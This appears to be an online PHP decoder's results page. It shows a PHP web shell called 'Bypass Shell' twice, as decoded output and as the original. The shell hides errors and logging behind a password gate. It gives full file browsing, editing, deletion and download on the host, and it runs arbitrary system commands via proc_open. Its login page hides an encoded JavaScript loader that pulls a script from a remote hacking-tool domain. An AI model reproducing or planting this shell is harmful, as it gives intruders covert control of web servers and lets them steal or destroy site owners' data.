Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * Bypass Shell * [email protected] */ session_start(); error_re..

Decoded Output download

<?php 
/* 
	* Bypass Shell 
	 
	* [email protected] 
*/ 
session_start(); 
error_reporting(0); 
set_time_limit(0); 
@clearstatcache(); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0); 
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0); 
 
/* Configurasi */ 
$auth_pass 			= "81d6c5f1c11f4b0375bc5b4ec3884421";// [email protected] 
$color 				= "#F8F8FF"; 
$default_action 	= 'FilesMan'; 
$default_use_ajax 	= true; 
$default_charset 	= 'UTF-8'; 
 
function login_shell() { 
?> 
<!DOCTYPE html> 
<html> 
	<head> 
		<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/> 
		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> 
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/> 
	</head> 
	<body class="bg-dark text-light"> 
		<center> 
			<div class="container" style="margin-top: 15%"> 
				<div class="col-lg-6"> 
					<div class="form-group"> 
						<form method="post"> 
							<input type="password" name="pass" placeholder="Input You'r Password" class="form-control"><br/> 
							<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Log in..."> 
						</form> 
					</div> 
		</center> 
		<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script> 
	</body> 
</html> 
<?php 
exit; 
} 
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) 
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) 
	$_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
else 
login_shell(); 
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['aksi'] == 'download')) { 
	@ob_clean(); 
	$file = $_GET['file']; 
	header('Content-Description: File Transfer'); 
	header('Content-Type: application/octet-stream'); 
	header('Content-Disposition: attachment; filename="'.basename($file).'"'); 
	header('Expires: 0'); 
	header('Cache-Control: must-revalidate'); 
	header('Pragma: public'); 
	header('Content-Length: ' . filesize($file)); 
	readfile($file); 
	exit; 
} 
/*Akhir login*/ 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <link href="https://fonts.googleapis.com/css?family=Protest Revolution" rel="stylesheet"> 
    <style> 
        body { 
             font-family: 'sans-serif'; 
             color: red; 
             margin: 0; 
             padding: 0; 
             text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5); 
             background-image: url(''); 
             background-size: cover; 
             background-position: center; 
} 
        .container { 
            width: 90%; 
            margin: 20px auto; 
            padding: 20px; 
            background-color: #fff; 
            border-radius: 5px; 
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); 
        } 
        .result-box { 
            width: 97.5%; 
            height: 200px; 
            resize: none; 
            overflow: auto; 
            font-family: 'sans-serif'; 
            background-color: #F8F8FF; 
            padding: 10px; 
            border: 1px solid #000000; 
            margin-bottom: 10px; 
        } 
        hr { 
            border: 0; 
            border-top: 5px solid #000000; 
            margin: 20px 0; 
        } 
        table { 
            width: 100%; 
            border-collapse: collapse; 
            margin-top: 20px; 
        } 
        th, td { 
            padding: 8px; 
            text-align: left; 
        } 
        th { 
            background-color: #f2f2f2; 
        } 
        tr:nth-child(even) { 
            background-color: #f9f9f9; 
        } 
        tr:hover { 
            background-color: #f2f2f2; 
        } 
        input[type="text"], input[type="submit"], textarea[name="file_content"] { 
            width: calc(97.5% - 10px); 
            margin-bottom: 10px; 
            padding: 8px; 
            max-height: 200px; 
            resize: vertical; 
            border: 1px solid #ddd; 
            border-radius: 3px; 
            font-family: 'sans-serif'; 
        } 
        input[type="submit"] { 
            background-color: #4CAF50; 
            color: white; 
            font-family: 'sans-serif'; 
            border: none; 
            cursor: pointer; 
        } 
        input[type="submit"]:hover { 
            background-color: #45a049; 
        } 
        .item-name { 
            max-width: 200px; 
            overflow: hidden; 
            text-overflow: ellipsis; 
            white-space: nowrap; 
        } 
        td.size { 
    width: 100px; 
} 
 
        .writable { 
            color: green; 
        } 
        .not-writable { 
            color: red; 
        } 
        .permission { 
        font-weight: bold; 
        width: 50px; 
        height: 20px; 
        text-align: center; 
        line-height: 20px; 
        overflow: hidden; 
    } 
     
    </style> 
</head> 
<body> 
<div class="container"> 
<?php 
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']); 
 
function x($b) 
{ 
    return base64_encode($b); 
} 
 
function y($b) 
{ 
    return base64_decode($b); 
} 
 
foreach ($_GET as $c => $d) $_GET[$c] = y($d); 
 
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); 
chdir($currentDirectory); 
 
$viewCommandResult = ''; 
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') { 
    if (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { 
        $newFolder = $currentDirectory . '/' . $_POST['folder_name']; 
        if (!file_exists($newFolder)) { 
            mkdir($newFolder); 
            echo '<hr>Folder created successfully!'; 
        } else { 
            echo '<hr>Error: Folder already exists!'; 
        } 
    } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { 
        $fileName = $_POST['file_name']; 
        $newFile = $currentDirectory . '/' . $fileName; 
        if (!file_exists($newFile)) { 
            if (file_put_contents($newFile, $_POST['file_content']) !== false) { 
                echo '<hr>File created successfully!'; 
            } else { 
                echo '<hr>Error: Failed to create file!'; 
            } 
        } else { 
            if (file_put_contents($newFile, $_POST['file_content']) !== false) { 
                echo '<hr>File edited successfully!'; 
            } else { 
                echo '<hr>Error: Failed to edit file!'; 
            } 
        } 
    } elseif (isset($_POST['delete_file'])) { 
        $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; 
        if (file_exists($fileToDelete)) { 
            if (unlink($fileToDelete)) { 
                echo '<hr>File deleted successfully!'; 
            } else { 
                echo '<hr>Error: Failed to delete file!'; 
            } 
        } elseif (is_dir($fileToDelete)) { 
            if (deleteDirectory($fileToDelete)) { 
                echo '<hr>Folder deleted successfully!'; 
            } else { 
                echo '<hr>Error: Failed to delete folder!'; 
            } 
        } else { 
            echo '<hr>Error: File or directory not found!'; 
        } 
    } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { 
        $oldName = $currentDirectory . '/' . $_POST['old_name']; 
        $newName = $currentDirectory . '/' . $_POST['new_name']; 
        if (file_exists($oldName)) { 
            if (rename($oldName, $newName)) { 
                echo '<hr>Item renamed successfully!'; 
            } else { 
                echo '<hr>Error: Failed to rename item!'; 
            } 
        } else { 
            echo '<hr>Error: Item not found!'; 
        } 
    } elseif (isset($_POST['cmd_input'])) { 
        $command = $_POST['cmd_input']; 
        $descriptorspec = [ 
            0 => ['pipe', 'r'], 
            1 => ['pipe', 'w'], 
            2 => ['pipe', 'w'] 
        ]; 
        $process = proc_open($command, $descriptorspec, $pipes); 
        if (is_resource($process)) { 
            $output = stream_get_contents($pipes[1]); 
            $errors = stream_get_contents($pipes[2]); 
            fclose($pipes[1]); 
            fclose($pipes[2]); 
            proc_close($process); 
            if (!empty($errors)) { 
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($errors) . '</textarea>'; 
            } else { 
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($output) . '</textarea>'; 
            } 
        } else { 
            $viewCommandResult = '<hr><p>Error: Failed to execute command!</p>'; 
        } 
    } elseif (isset($_POST['view_file'])) { 
$fileToView = $currentDirectory . '/' . $_POST['view_file']; 
if (file_exists($fileToView)) { 
$fileContent = file_get_contents($fileToView); 
$viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>'; 
} else { 
$viewCommandResult = '<hr><p>Error: File not found!</p>'; 
} 
} 
} 
echo '<hr>Location File: '; 
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); 
$currentPath = ''; 
foreach ($directories as $index => $dir) { 
    if ($index == 0) { 
        echo '<a href="?d=' . x($dir) . '">' . $dir . '</a>'; 
    } else { 
        $currentPath .= DIRECTORY_SEPARATOR . $dir; 
        echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>'; 
    } 
} 
echo '<br>'; 
echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">'; 
echo '<input type="text" name="folder_name" placeholder="New Folder Name">'; 
echo '<input type="submit" value="Create Folder">'; 
echo '</form>'; 
 
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">'; 
echo '<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">'; 
echo '<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>'; 
echo '<input type="submit" value="Create / Edit File">'; 
echo '</form>'; 
 
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>'; 
echo $viewCommandResult; 
echo '<div>'; 
echo '</div>'; 
echo '<table border=1>'; 
echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center> View  </th><th><center>Delete </th><th>Permissions</th><th><center>Rename</th></tr></center></center></center>'; 
foreach (scandir($currentDirectory) as $v) { 
    $u = realpath($v); 
    $s = stat($u); 
    $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); 
    $permission = substr(sprintf('%o', fileperms($v)), -4); 
    $writable = is_writable($v); 
    echo '<tr> 
            <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td> 
            <td class="size">'.filesize($u).'</td> 
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.htmlspecialchars($v).'"><input type="submit" value="View"></form></td> 
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.htmlspecialchars($v).'"><input type="submit" value="Delete"></form></td> 
            <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td> 
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.htmlspecialchars($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td> 
        </tr>'; 
} 
 
echo '</table>'; 
function deleteDirectory($dir) { 
if (!file_exists($dir)) { 
return true; 
} 
if (!is_dir($dir)) { 
return unlink($dir); 
} 
foreach (scandir($dir) as $item) { 
if ($item == '.' || $item == '..') { 
continue; 
} 
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { 
return false; 
} 
} 
return rmdir($dir); 
} 
?>

Did this file decode correctly?

Original Code

<?php
/*
	* Bypass Shell
	
	* [email protected]
*/
session_start();
error_reporting(0);
set_time_limit(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);

/* Configurasi */
$auth_pass 			= "81d6c5f1c11f4b0375bc5b4ec3884421";// [email protected]
$color 				= "#F8F8FF";
$default_action 	= 'FilesMan';
$default_use_ajax 	= true;
$default_charset 	= 'UTF-8';

function login_shell() {
?>
<!DOCTYPE html>
<html>
	<head>
		<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>
		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>
	</head>
	<body class="bg-dark text-light">
		<center>
			<div class="container" style="margin-top: 15%">
				<div class="col-lg-6">
					<div class="form-group">
						<form method="post">
							<input type="password" name="pass" placeholder="Input You'r Password" class="form-control"><br/>
							<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Log in...">
						</form>
					</div>
		</center>
		<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>
	</body>
</html>
<?php
exit;
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
	$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
login_shell();
if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['aksi'] == 'download')) {
	@ob_clean();
	$file = $_GET['file'];
	header('Content-Description: File Transfer');
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename="'.basename($file).'"');
	header('Expires: 0');
	header('Cache-Control: must-revalidate');
	header('Pragma: public');
	header('Content-Length: ' . filesize($file));
	readfile($file);
	exit;
}
/*Akhir login*/
?>
<!DOCTYPE html>
<html>
<head>
    <link href="https://fonts.googleapis.com/css?family=Protest Revolution" rel="stylesheet">
    <style>
        body {
             font-family: 'sans-serif';
             color: red;
             margin: 0;
             padding: 0;
             text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5);
             background-image: url('');
             background-size: cover;
             background-position: center;
}
        .container {
            width: 90%;
            margin: 20px auto;
            padding: 20px;
            background-color: #fff;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .result-box {
            width: 97.5%;
            height: 200px;
            resize: none;
            overflow: auto;
            font-family: 'sans-serif';
            background-color: #F8F8FF;
            padding: 10px;
            border: 1px solid #000000;
            margin-bottom: 10px;
        }
        hr {
            border: 0;
            border-top: 5px solid #000000;
            margin: 20px 0;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            padding: 8px;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        tr:nth-child(even) {
            background-color: #f9f9f9;
        }
        tr:hover {
            background-color: #f2f2f2;
        }
        input[type="text"], input[type="submit"], textarea[name="file_content"] {
            width: calc(97.5% - 10px);
            margin-bottom: 10px;
            padding: 8px;
            max-height: 200px;
            resize: vertical;
            border: 1px solid #ddd;
            border-radius: 3px;
            font-family: 'sans-serif';
        }
        input[type="submit"] {
            background-color: #4CAF50;
            color: white;
            font-family: 'sans-serif';
            border: none;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #45a049;
        }
        .item-name {
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        td.size {
    width: 100px;
}

        .writable {
            color: green;
        }
        .not-writable {
            color: red;
        }
        .permission {
        font-weight: bold;
        width: 50px;
        height: 20px;
        text-align: center;
        line-height: 20px;
        overflow: hidden;
    }
    
    </style>
</head>
<body>
<div class="container">
<?php
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);

function x($b)
{
    return base64_encode($b);
}

function y($b)
{
    return base64_decode($b);
}

foreach ($_GET as $c => $d) $_GET[$c] = y($d);

$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);

$viewCommandResult = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
        $newFolder = $currentDirectory . '/' . $_POST['folder_name'];
        if (!file_exists($newFolder)) {
            mkdir($newFolder);
            echo '<hr>Folder created successfully!';
        } else {
            echo '<hr>Error: Folder already exists!';
        }
    } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
        $fileName = $_POST['file_name'];
        $newFile = $currentDirectory . '/' . $fileName;
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, $_POST['file_content']) !== false) {
                echo '<hr>File created successfully!';
            } else {
                echo '<hr>Error: Failed to create file!';
            }
        } else {
            if (file_put_contents($newFile, $_POST['file_content']) !== false) {
                echo '<hr>File edited successfully!';
            } else {
                echo '<hr>Error: Failed to edit file!';
            }
        }
    } elseif (isset($_POST['delete_file'])) {
        $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
        if (file_exists($fileToDelete)) {
            if (unlink($fileToDelete)) {
                echo '<hr>File deleted successfully!';
            } else {
                echo '<hr>Error: Failed to delete file!';
            }
        } elseif (is_dir($fileToDelete)) {
            if (deleteDirectory($fileToDelete)) {
                echo '<hr>Folder deleted successfully!';
            } else {
                echo '<hr>Error: Failed to delete folder!';
            }
        } else {
            echo '<hr>Error: File or directory not found!';
        }
    } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $oldName = $currentDirectory . '/' . $_POST['old_name'];
        $newName = $currentDirectory . '/' . $_POST['new_name'];
        if (file_exists($oldName)) {
            if (rename($oldName, $newName)) {
                echo '<hr>Item renamed successfully!';
            } else {
                echo '<hr>Error: Failed to rename item!';
            }
        } else {
            echo '<hr>Error: Item not found!';
        }
    } elseif (isset($_POST['cmd_input'])) {
        $command = $_POST['cmd_input'];
        $descriptorspec = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $process = proc_open($command, $descriptorspec, $pipes);
        if (is_resource($process)) {
            $output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            if (!empty($errors)) {
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($errors) . '</textarea>';
            } else {
                $viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($output) . '</textarea>';
            }
        } else {
            $viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
        }
    } elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>';
} else {
$viewCommandResult = '<hr><p>Error: File not found!</p>';
}
}
}
echo '<hr>Location File: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
foreach ($directories as $index => $dir) {
    if ($index == 0) {
        echo '<a href="?d=' . x($dir) . '">' . $dir . '</a>';
    } else {
        $currentPath .= DIRECTORY_SEPARATOR . $dir;
        echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
    }
}
echo '<br>';
echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="folder_name" placeholder="New Folder Name">';
echo '<input type="submit" value="Create Folder">';
echo '</form>';

echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="file_name" placeholder="Create New File / Edit Existing File">';
echo '<textarea name="file_content" placeholder="File Content (for new file) or Edit Content (for existing file)"></textarea>';
echo '<input type="submit" value="Create / Edit File">';
echo '</form>';

echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>';
echo $viewCommandResult;
echo '<div>';
echo '</div>';
echo '<table border=1>';
echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center> View  </th><th><center>Delete </th><th>Permissions</th><th><center>Rename</th></tr></center></center></center>';
foreach (scandir($currentDirectory) as $v) {
    $u = realpath($v);
    $s = stat($u);
    $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
    $permission = substr(sprintf('%o', fileperms($v)), -4);
    $writable = is_writable($v);
    echo '<tr>
            <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
            <td class="size">'.filesize($u).'</td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.htmlspecialchars($v).'"><input type="submit" value="View"></form></td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.htmlspecialchars($v).'"><input type="submit" value="Delete"></form></td>
            <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.htmlspecialchars($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
        </tr>';
}

echo '</table>';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>

Function Calls

None

Variables

None

Stats

MD5 fb2d009657f6a8c3d8fcd02f401c435a
Eval Count 0
Decode Time 86 ms